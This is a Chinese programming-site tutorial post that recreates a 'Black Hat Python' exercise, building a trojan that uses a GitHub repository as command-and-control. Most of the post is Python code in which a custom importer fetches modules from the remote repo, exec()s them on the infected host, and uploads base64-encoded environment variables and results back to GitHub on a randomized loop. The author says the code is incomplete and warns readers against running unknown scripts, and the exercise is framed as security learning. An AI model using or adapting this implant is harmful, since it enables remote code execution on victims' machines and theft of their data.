程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

python滲透測試入門之github木馬

編輯:Python

近期收到了電子工業出版社贈送的一本網絡安全書籍《python黑帽子》,書中一共24個實驗,今天復現第18個實驗(github c&c控制),我的測試環境是mbp電腦+github+conda開發環境。這個實驗非常有趣,將“木馬”(python腳本)投遞到僵屍主機上並運行,然後就能自動將環境變量和文件信息同步到github倉庫中,ailx10提醒您,陌生的鏈接千萬不要點擊,千萬不要運行,否則容易導致隱私數據洩露~

1、在自己的github上創建一個倉庫(ailx10trojan)[1]

本實驗已經隱藏和省略重要信息 mytoken.txt ,公開的代碼無法連接 github

git init
# 省略中間操作
git add .
git commit -m "first commit"
git branch -M master
git remote add origin https://github.com/isGt93/ailx10trojan.git
git push -u origin master

2、創建自己的github token(全選)

3、構建github通信木馬,獲取僵屍主機的基本信息

4、在僵屍主機上運行腳本

5、在ailx10trojan倉庫中看到僵屍主機的基本信息,不過是base64編碼的

6、對文件進行base64解碼,成功拿到僵屍主機的環境變量

參考代碼(不完整):

# -*- coding: utf-8 -*-
# @Time : 2022/6/16 10:14 AM
# @Author : ailx10
# @File : git_trojan.py
import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime
# 讀取令牌,登錄github
def github_connect():
with open("mytoken.txt") as f:
token = f.read().strip()
user = "isGt93"
sess = github3.login(token=token)
return sess.repository(user,"ailx10trojan")
# 從遠程倉庫抓取文件並讀取裡面的數據
def get_file_contents(dirname,module_name,repo):
return repo.file_contents(f"{dirname}/{module_name}").content
class Trojan:
def __init__(self,id):
self.id = id
self.config_file = f"{id}.json"
self.data_path = f"data/{id}/"
self.repo = github_connect()
# 從遠程倉庫中讀取配置文件
def get_config(self):
config_json = get_file_contents("config",self.config_file,self.repo)
config = json.loads(base64.b64decode(config_json))
for task in config:
if task["module"] not in sys.modules:
exec("import %s"%task["module"])
return config
# 調用module的run方法
def module_runner(self,module):
result = sys.modules[module].run()
self.store_module_result(result)
# 將模塊的運行結果存儲在本地文件夾中
def store_module_result(self,data):
message = datetime.now().isoformat()
remote_path = f"data/{self.id}/{message}.data"
bindata = bytes("%r" % data,"utf-8")
self.repo.create_file(remote_path,message,base64.b64encode(bindata))
# 多線程執行config模塊中的run方法,收集信息並存儲
def run(self):
while True:
config = self.get_config()
for task in config:
thread = threading.Thread(target=self.module_runner,args=(task["module"],))
thread.start()
time.sleep(random.randint(1,10))
time.sleep(random.randint(30*60,3*60*60))
class GitImporter:
def __init__(self):
self.current_module_code = ""
def find_module(self,name,path=None):
print("[*] Attempting to retrieve %s"%name)
self.repo = github_connect()
new_library = get_file_contents("modules",f"{name}.py",self.repo)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self
def load_module(self,name):
spec = importlib.util.spec_from_loader(name,loader=None,origin=self.repo.git_url)
new_module = importlib.util.module_from_spec(spec)
exec(self.current_module_code,new_module.__dict__)
sys.modules[spec.name] = new_module
return new_module
if __name__ == "__main__":
sys.meta_path.append(GitImporter())
trojan = Trojan("abc")
trojan.run()


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved